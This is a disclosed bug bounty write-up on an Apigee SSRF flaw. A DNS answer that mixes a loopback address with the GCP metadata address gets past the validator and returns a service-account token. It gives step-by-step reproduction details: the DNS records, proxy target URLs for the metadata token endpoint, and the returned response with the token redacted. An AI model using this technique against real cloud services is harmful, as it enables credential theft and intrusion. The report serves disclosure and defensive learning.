# The Loopback Shortcut

Apigee's SSRF validator approved an entire DNS answer when any one address was loopback, letting a mixed A-record reach the cloud metadata service and steal a token.

- Payout: $42,000
- Severity: high
- Program: Google
- Found by: Nikita Markevich
- Disclosed: 2026-10-15
- Write-up quality: 9/10
- Original: https://bugs.exposed/posts/apigee-loopback-short-circuit
- Library page: https://bugbountylibrary.com/r/blog%3Abugs-exposed-posts-apigee-loopback-short-circuit
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access kind:bounty platform:blog sev:high tech:gcp technique:chained technique:source-review vuln:access-control vuln:ssrf

**Target:** Apigee outbound HTTP client / DNS address validator
**Root cause:** isValid(InetAddress[], int) returns true early when isAnyLoopBack() finds a single loopback address on a whitelisted port, treating that as approval for the whole DNS answer; the per-address loop is skipped and HTTPClient returns the unfiltered list.
**Steps:**
1. Register a domain with two A records in one answer: `ll.codesent.io. 30 IN A 127.0.0.1` and `ll.codesent.io. 30 IN A 169.254.169.254`.
2. Create an Apigee proxy target on port 80 pointing at `http://ll.codesent.io/computeMetadata/v1/instance/service-accounts/default/token`.
3. Validator sees loopback candidate, isAnyLoopBack returns true, port 80 whitelisted, whole list approved.
4. DNSCachedAddress picks a random candidate from activeResolvedAddresses without revalidating; when it selects 169.254.169.254 the request reaches metadata.
5. Proxy sends `Metadata-Flavor: Google`; response returns `access_token`.
**How found:** After black-box tests showed direct metadata and single-record hostnames were blocked, the researcher read the outbound HTTP client and followed the DNS answer through InetAddressValidator, noticing the early-return shortcut in the array overload and that HTTPClient returns the original unfiltered list.
**Exploitation:** Attacker controls a hostname resolving to both loopback and link-local metadata IPs, configures it as an Apigee target; the gateway's validator approves the answer on the loopback record, then randomly selects the metadata address, returning a GCP service account OAuth token.
**Escalation:** Stolen metadata token grants the Apigee runtime's service account privileges, enabling further cloud API access.
**Insight:** When a validator returns a boolean over a set (DNS answer, header list, redirect chain), check whether any single element can short-circuit approval for the whole set, and whether the caller re-validates the element it later selects.

## Proof of concept (copied exactly from the original report)

**DNS answer with loopback plus metadata address**

```
ll.codesent.io. 30 IN A 127.0.0.1
ll.codesent.io. 30 IN A 169.254.169.254

Both records were returned in the same DNS answer. The first satisfied isAnyLoopBack; the second pointed at the instance metadata service.
```

**Proxy targets mixing hostname and direct metadata**

```
direct-link-local -> http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
default -> http://ll.codesent.io/computeMetadata/v1/instance/service-accounts/default/token
```

**Metadata token returned via hostname target**

```
HTTP/1.1 200 OK
content-type: application/json
metadata-flavor: Google

{
 "access_token": "[REDACTED]",
 "expires_in": 2091,
 "token_type": "Bearer"
}
```

